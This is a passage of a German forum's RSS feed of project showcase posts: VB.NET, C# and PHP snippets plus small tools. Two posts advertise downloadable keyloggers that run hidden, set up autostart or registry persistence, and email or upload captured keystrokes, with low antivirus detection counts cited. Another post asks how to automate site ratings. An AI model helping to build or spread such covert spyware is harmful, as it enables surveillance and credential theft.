style="color: #007700">)&nbsp;</span><span style="color: #0000BB">Then&nbsp;IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">Delete</span><span style="color: #007700">(</span><span style="color: #0000BB">outpath</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dim&nbsp;p&nbsp;</span><span style="color: #007700">As&nbsp;New&nbsp;</span><span style="color: #0000BB">Process&nbsp;With&nbsp;</span><span style="color: #007700">{.</span><span style="color: #0000BB">StartInfo&nbsp;</span><span style="color: #007700">=&nbsp;New&nbsp;</span><span style="color: #0000BB">ProcessStartInfo&nbsp;With&nbsp;</span><span style="color: #007700">{.</span><span style="color: #0000BB">Arguments&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"&nbsp;/t:exe&nbsp;"""&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">tmpfile&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">""""</span><span style="color: #007700">,&nbsp;.</span><span style="color: #0000BB">WindowStyle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ProcessWindowStyle</span><span style="color: #007700">.</span><span style="color: #0000BB">Hidden</span><span style="color: #007700">,&nbsp;.</span><span style="color: #0000BB">FileName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">Path</span><span style="color: #007700">.</span><span style="color: #0000BB">Combine</span><span style="color: #007700">(New&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">FileInfo</span><span style="color: #007700">(</span><span style="color: #0000BB">Application</span><span style="color: #007700">.</span><span style="color: #0000BB">ExecutablePath</span><span style="color: #007700">).</span><span style="color: #0000BB">Directory</span><span style="color: #007700">.</span><span style="color: #0000BB">Root</span><span style="color: #007700">.</span><span style="color: #0000BB">FullName</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"WINDOWS\Microsoft.NET\Framework\v3.5\vbc.exe"</span><span style="color: #007700">)}}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">Start</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">WaitForExit</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Return&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">Exists</span><span style="color: #007700">(</span><span style="color: #0000BB">outpath</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">Function&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Beispiel für einen Aufruf:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">CompileCode</span><span style="color: #007700">(</span><span style="color: #0000BB">RichTextBox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"programm.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"out.txt"</span><span style="color: #007700">)&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>In der Richtextbox würde dann der Code stehen, euer Programm, was ihr erstellt, würde &quot;programm&quot; heißen und im Ordner eures Compilers liegen.<br />
<br />
Viel Spaß :)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/vb-net-compiler-31638</guid>
		</item>
		<item>
			<title><![CDATA[[Open-Source] Hausaufgaben]]></title>
			<link>showroom-102/open-source-hausaufgaben-31206?goto=newpost</link>
			<pubDate>Wed, 12 Oct 2011 15:34:01 GMT</pubDate>
			<description>Heyho liebe Community, ich habe mir eben ein Programm geschrieben, um meine Hausaufgaben einzutragen und zu verwalten. 
 
Warum Open-Source? Ich...</description>
			<content:encoded><![CDATA[<div>Heyho liebe Community, ich habe mir eben ein Programm geschrieben, um meine Hausaufgaben einzutragen und zu verwalten.<br />
<br />
Warum Open-Source? Ich hatte eigentlich nicht vor das Programm zu releasen, aber wer daran Interesse hat, kann es gerne etwas modifizieren, z.b. in den Autostart setzen und weitere kleinere Spielchen.<br />
<br />
Mein Coding-Stil ist nicht der beste, aber es funktioniert :P<br />
<br />
Geschrieben in VB.Net, für die, die nur das Programm nutzen wollen:<br />
Hausaufgaben\bin\Release\Hausaufgaben.exe<br />
<br />
Screens:<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7304&amp;d=1395294166" id="attachment7304" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7304&amp;d=1395294166&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ha1u7m.jpg&nbsp;
Hits:	374&nbsp;
Größe:	81,1 KB&nbsp;
ID:	7304" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
So kann das ganze dann ausgefüllt aussehen:<br />
<br />
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7305&amp;d=1395294179" id="attachment7305" rel="Lightbox_0" ><img src="https://u-labs.de/forum/attachment.php?attachmentid=7305&amp;d=1395294179&amp;thumb=1" border="0" alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntmfq3.jpg&nbsp;
Hits:	394&nbsp;
Größe:	69,0 KB&nbsp;
ID:	7305" class="thumbnail" style="float:CONFIG" /></a><br />
<br />
Ich denke, viel zu erklären gibt es da nicht, einfach zuerst die Fächer eintragen, die man hat und loslegen, das Programm speichert automatisch ;)<br />
<br />
Download:<br />
<a href="http://ul.to/vje8due5" target="_blank" rel="nofollow">Hausaufgaben.rar (427,24 KB) - uploaded.to</a><br />
<br />
/e: Noch nicht kommentiert, werde es aber bei Gelegenheit machen und hier den Code posten!</div>


	<div style="padding:10px">

	
		<fieldset class="fieldset">
			<legend>Miniaturansichten angehängter Grafiken</legend>
			<div style="padding:10px">
			
<a href="https://u-labs.de/forum/attachment.php?attachmentid=7304&amp;d=1395294166" 
rel="Lightbox_368592" id="attachment7304"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7304&amp;stc=1&amp;thumb=1&amp;d=1395294166" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	ha1u7m.jpg&nbsp;
Hits:	-&nbsp;
Größe:	81,1 KB&nbsp;
ID:	7304"/></a>
&nbsp;

<a href="https://u-labs.de/forum/attachment.php?attachmentid=7305&amp;d=1395294179" 
rel="Lightbox_368592" id="attachment7305"
><img class="thumbnail" src="https://u-labs.de/forum/attachment.php?attachmentid=7305&amp;stc=1&amp;thumb=1&amp;d=1395294179" 
alt="Klicke auf die Grafik für eine größere Ansicht&nbsp;

Name:	unbenanntmfq3.jpg&nbsp;
Hits:	-&nbsp;
Größe:	69,0 KB&nbsp;
ID:	7305"/></a>
&nbsp;

			</div>
		</fieldset>
	

	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">showroom-102/open-source-hausaufgaben-31206</guid>
		</item>
		<item>
			<title><![CDATA[[Code] Applet Killer]]></title>
			<link>showroom-102/code-applet-killer-31646?goto=newpost</link>
			<pubDate>Mon, 10 Oct 2011 11:24:58 GMT</pubDate>
			<description>Hallo, 
mir ist aufgefallen das beim Programmieren(und wahrscheinlisch auch bei der Botnutzung) nach einer 
gewissen Zeit sehr viele unbenutzte...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
mir ist aufgefallen das beim Programmieren(und wahrscheinlisch auch bei der Botnutzung) nach einer<br />
gewissen Zeit sehr viele unbenutzte Applets noch immer aktiv sind. Ich hab mal zufällig<br />
den Taskmanager geöffnet und da war javaw.exe ca. 40-50 mal offen.<br />
<br />
Hab dafür mal einen kleinen Code geschrieben der alle Applets killt. Ich glaub zwar nicht das dann irgendwas schneller läuft oder so aber dafür hat man keine 100 javaw.exe in der Prozessliste im Tsk-Mgr.<br />
<br />
Code:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&nbsp;Dim&nbsp;c&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">Integer&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0<br /><br />&nbsp;&nbsp;Dim&nbsp;p&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">Process<br />&nbsp;&nbsp;Dim&nbsp;processes</span><span style="color: #007700">()&nbsp;As&nbsp;</span><span style="color: #0000BB">Process<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;processes&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Process</span><span style="color: #007700">.</span><span style="color: #0000BB">GetProcesses<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">For&nbsp;</span><span style="color: #0000BB">Each&nbsp;p&nbsp;In&nbsp;processes<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">p</span><span style="color: #007700">.</span><span style="color: #0000BB">ProcessName&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"javaw"&nbsp;</span><span style="color: #0000BB">Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p</span><span style="color: #007700">.</span><span style="color: #0000BB">Kill</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">1<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;</span><span style="color: #007700">If<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Next<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">If&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0&nbsp;Then<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #DD0000">"Keine&nbsp;aktiven&nbsp;Applets."</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">MessageBox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #DD0000">"javaw.exe&nbsp;wurde&nbsp;"&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">&amp;&nbsp;</span><span style="color: #DD0000">"x&nbsp;gekillt."</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">End&nbsp;</span><span style="color: #007700">If<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">c&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Im Anhang kann man es auch gleich als App downloaden.<br />
Screen:<br />
<br />
<img src="https://u-labs.de/forum/attachment.php?attachmentid=7449&amp;d=1396675031" border="0" alt="Name:  killae.png
Hits: 190
Größe:  12,1 KB" class="thumbnail" style="float:CONFIG" /><br />
<br />
MfG</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7449&amp;stc=1&amp;d=1396675031" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>exception</dc:creator>
			<guid isPermaLink="true">showroom-102/code-applet-killer-31646</guid>
		</item>
		<item>
			<title>Ciao Bewertungen Automatisieren?</title>
			<link>showroom-102/ciao-bewertungen-automatisieren-30600?goto=newpost</link>
			<pubDate>Sun, 18 Sep 2011 19:51:21 GMT</pubDate>
			<description>Hallo Leute, 
 
da ich von Programmierung eigentlich gar keine Ahnung habe, frage ich mal euch. Und zwar möchte ich etwas automatisieren. 
 
Man kann...</description>
			<content:encoded><![CDATA[<div>Hallo Leute,<br />
<br />
da ich von Programmierung eigentlich gar keine Ahnung habe, frage ich mal euch. Und zwar möchte ich etwas automatisieren.<br />
<br />
Man kann auf Ciao andere Leute bewerten. Ich habe aber keine Lust immer dauerhaft alle 12 Sekunden alles per Hand zu machen. Gibt es da eine Möglichkeit, es automatisch laufen zu lassen?<br />
<br />
Ich dachte, die einfache Möglichkeit wäre, wenn man einfach ein Makro laufen lässt. Das geht zwar, dennoch nicht immer. Ich habe das Makro so laufen lassen, dass er genau soweit scrollt, bis diese Felder kommen. Das dumme daran ist nur, dass die Seite hin und wieder so kleine Blöcke mit Werbung darunter einfügt.<br />
<br />
Hätte jemand eventuell noch eine Idee?<br />
<br />
Hier mal ein Screen:<br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://www.uploadking.biz/out.php/i182226_image14.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Gewicht</dc:creator>
			<guid isPermaLink="true">showroom-102/ciao-bewertungen-automatisieren-30600</guid>
		</item>
		<item>
			<title><![CDATA[[PHP] WordPress Artikel/Post erstellen]]></title>
			<link>showroom-102/php-wordpress-artikel-post-erstellen-31064?goto=newpost</link>
			<pubDate>Mon, 12 Sep 2011 15:46:21 GMT</pubDate>
			<description>Hab das selber gesucht, aber wohl die falschen Wörter benutzt, denn ich hab nichts gefunden. Deswegen hab ich es selbst geschrieben. 
 
*Die Datei...</description>
			<content:encoded><![CDATA[<div>Hab das selber gesucht, aber wohl die falschen Wörter benutzt, denn ich hab nichts gefunden. Deswegen hab ich es selbst geschrieben.<br />
<br />
<b>Die Datei muss im Rootverzeichnis des Blogs liegen.</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br /><br /></span><span style="color: #FF8000">/**<br />&nbsp;*&nbsp;@author&nbsp;Diebspiel<br />&nbsp;*&nbsp;@copyright&nbsp;2011<br />&nbsp;*/<br /><br />//&nbsp;Wordpress&nbsp;Funktionen&nbsp;einbinden<br /></span><span style="color: #007700">require(</span><span style="color: #DD0000">"wp-blog-header.php"</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//&nbsp;ArtikelArray&nbsp;erstellen<br /></span><span style="color: #0000BB">$post&nbsp;</span><span style="color: #007700">=&nbsp;array();<br /><br /></span><span style="color: #FF8000">//&nbsp;Titel&nbsp;des&nbsp;Artikels<br /></span><span style="color: #0000BB">$post</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'post_title'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #DD0000">"Der&nbsp;Titel"</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//&nbsp;Inhalt&nbsp;des&nbsp;Artikels<br /></span><span style="color: #0000BB">$post</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'post_content'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #DD0000">"Der&nbsp;Inhalt"</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//&nbsp;Artikel&nbsp;soll&nbsp;sofort&nbsp;veröffentlicht&nbsp;werden<br /></span><span style="color: #0000BB">$post</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'post_status'</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #DD0000">"publish"</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//&nbsp;Artikel&nbsp;in&nbsp;Datenbank&nbsp;einfügen<br /></span><span style="color: #0000BB">wp_insert_post</span><span style="color: #007700">(</span><span style="color: #0000BB">$post</span><span style="color: #007700">);<br /><br /></span><span style="color: #FF8000">//&nbsp;Weitere&nbsp;Optionen:<br />//&nbsp;http://codex.wordpress.org/Function_Reference/wp_insert_post<br /><br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div>Fragen dazu gerne.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Diebspiel</dc:creator>
			<guid isPermaLink="true">showroom-102/php-wordpress-artikel-post-erstellen-31064</guid>
		</item>
		<item>
			<title>Online Radio</title>
			<link>showroom-102/online-radio-30717?goto=newpost</link>
			<pubDate>Sat, 10 Sep 2011 13:08:43 GMT</pubDate>
			<description>Hallo Community, ich hab einen Musik Player programmiert mit 6 verschiedenen online Radios, unter anderem auch Technobase.fm, housetime.fm, etc.. 
...</description>
			<content:encoded><![CDATA[<div>Hallo Community, ich hab einen Musik Player programmiert mit 6 verschiedenen online Radios, unter anderem auch Technobase.fm, housetime.fm, etc..<br />
<br />
würde mich über Feedbacks oder Verbesserungsvorschläge sehr freuen.. :D<br />
<br />
Gruß Swiss<br />
<br />
<br />
Download Link:<br />
<a href="http://www.mediafire.com/?573sn9c6bda42az" target="_blank" rel="nofollow">MusikPlayerSetup.exe</a></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Swisstobi</dc:creator>
			<guid isPermaLink="true">showroom-102/online-radio-30717</guid>
		</item>
		<item>
			<title><![CDATA[[DLL] KeyLogger]]></title>
			<link>showroom-102/dll-keylogger-31552?goto=newpost</link>
			<pubDate>Fri, 09 Sep 2011 15:22:51 GMT</pubDate>
			<description>Hallo Community, 
 
da ja der KeyLogger von mir nicht gut ankam und der Source zu leicht ist das man in Pub machen müsste xD habe ich mir überlegt...</description>
			<content:encoded><![CDATA[<div>Hallo Community,<br />
<br />
da ja der KeyLogger von mir nicht gut ankam und der Source zu leicht ist das man in Pub machen müsste xD habe ich mir überlegt das sich jeder auch einen eigenen Schreiben kann !<br />
<br />
Dafür habe ich die KeyLogger.dll geschrieben in<b> vb.net mit .Net Framework 4</b>.<br />
<br />
Klassen:<br />
<br />
<ul><li style="">keylogger</li><li style="">verschicken</li><li style="">autostart</li></ul><br />
<br />
Methoden:<br />
<br />
<ul><li style="">keyauslesen - muss nichts übergeben werden</li><li style="">viasmtp</li><li style="">viamysqldatabase</li><li style="">autostartfolder</li><li style="">toregistry</li></ul><br />
<br />
W:<br />
<br />
Ich habe die Funktion toregistry dazu genommen allerdings empfehle ich dies nicht da die Registry das Herzstück Windows ist und sie nicht vermüllen muss :D.<br />
Autostartfolder empfehle ich mehr da dies eig. egal ist was da alles drin ist Nachteil der Benutzer entdeckt es schneller.<br />
<br />
Virustotal: <a href="http://www.virustotal.com/file-scan/report.html?id=8a46b0c3f6448afcd26203125afd0736b219be5efb35f7af0a6e8d60b85f64f7-1315580308" target="_blank" rel="nofollow">0/44</a><br />
Download: <a href="http://www46.multiupload.com:81/files/B0F063F706A7505D0EBB4FB113AF6BD337705149A4A98C7D0BF30925FC203FD3079CE5D666BD5830C217026E0BEF55C3CED2B8AA10A17D55F53D3625D2AD478324799FA2B693CA82C6B478D6F95C670C20BCE3/KeyLogger.rar" target="_blank" rel="nofollow">KeyLogger Dynamic Link Library - Direkt Download</a><br />
<br />
Wünsche viel Spaß damit über ein Feedback würde ich mich freuen, Kritik ob Positiv oder Negativ gerne gesehen.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/dll-keylogger-31552</guid>
		</item>
		<item>
			<title><![CDATA[[Realease] KeyLogger]]></title>
			<link>showroom-102/realease-keylogger-31359?goto=newpost</link>
			<pubDate>Thu, 08 Sep 2011 20:38:43 GMT</pubDate>
			<description>Hi Comm, 
 
ich habe den KeyLogger mal etwas überarbeitet. 
Und zwar sendet er jeweils alle 1 Minute den Log an eure Email Adresse die ihr in der...</description>
			<content:encoded><![CDATA[<div>Hi Comm,<br />
<br />
ich habe den KeyLogger mal etwas überarbeitet.<br />
Und zwar sendet er jeweils alle 1 Minute den Log an eure Email Adresse die ihr in der *.ini angeben müsst.<br />
<br />
Das Programm besitzt keine Oberfläche !!!<br />
<b><font color="Red">Und bindet sich automatisch in den Autostart ein!</font></b><br />
<br />
Download:<br />
<br />
<a href="http://www44.multiupload.com:81/files/4B8D64943120980FA2EFB2E5A576B77BD50065A36588FE9355776F06E291827E7BF59FE40D43F2B2C3DA5712CF124EA71BD4778F1D9E49D9B9103BC92879D4E7F0B457FC79FB316B16227224CE873498B3/KeyLogger.rar" target="_blank" rel="nofollow">Download</a><br />
<br />
Virustotal:<br />
<br />
<a href="http://www.virustotal.com/file-scan/report.html?id=efd64dfee526e9dbcbd443df5689dc45dec4cc659529c3c8e9bcaed66ae49be3-1315513649" target="_blank" rel="nofollow">Virustotal 3/44</a><br />
<br />
Wünsche viel Spaß damit.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Kuchenmaster</dc:creator>
			<guid isPermaLink="true">showroom-102/realease-keylogger-31359</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Console bunt schreiben]]></title>
			<link>showroom-102/c-console-bunt-schreiben-30106?goto=newpost</link>
			<pubDate>Thu, 01 Sep 2011 01:41:47 GMT</pubDate>
			<description>Heyh0, 
 
mit folgender Methode, könnt ihr in C# in einer Konsolenanwendung farbig schreiben indem ihr die Knuddelsfarbcodes benutzt (°R°, °G°,...</description>
			<content:encoded><![CDATA[<div>Heyh0,<br />
<br />
mit folgender Methode, könnt ihr in C# in einer Konsolenanwendung farbig schreiben indem ihr die Knuddelsfarbcodes benutzt (°R°, °G°, °B°...). <br />
Kann man sicherlich noch erweitern, escape etc. einbauen.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Schreibt&nbsp;den&nbsp;angegebenen&nbsp;Text&nbsp;farbig.<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;param&nbsp;name="value"&gt;Der&nbsp;Text&nbsp;der&nbsp;geschrieben&nbsp;werden&nbsp;soll.&lt;/param&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">static&nbsp;</span><span style="color: #0000BB">void&nbsp;Write</span><span style="color: #007700">(</span><span style="color: #0000BB">String&nbsp;value</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;tempString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ConsoleColor&nbsp;currColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">.</span><span style="color: #0000BB">Length</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;</span><span style="color: #0000BB">value</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">tempString&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">currColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">Write</span><span style="color: #007700">(</span><span style="color: #0000BB">tempString</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">tempString&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">.Empty;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br 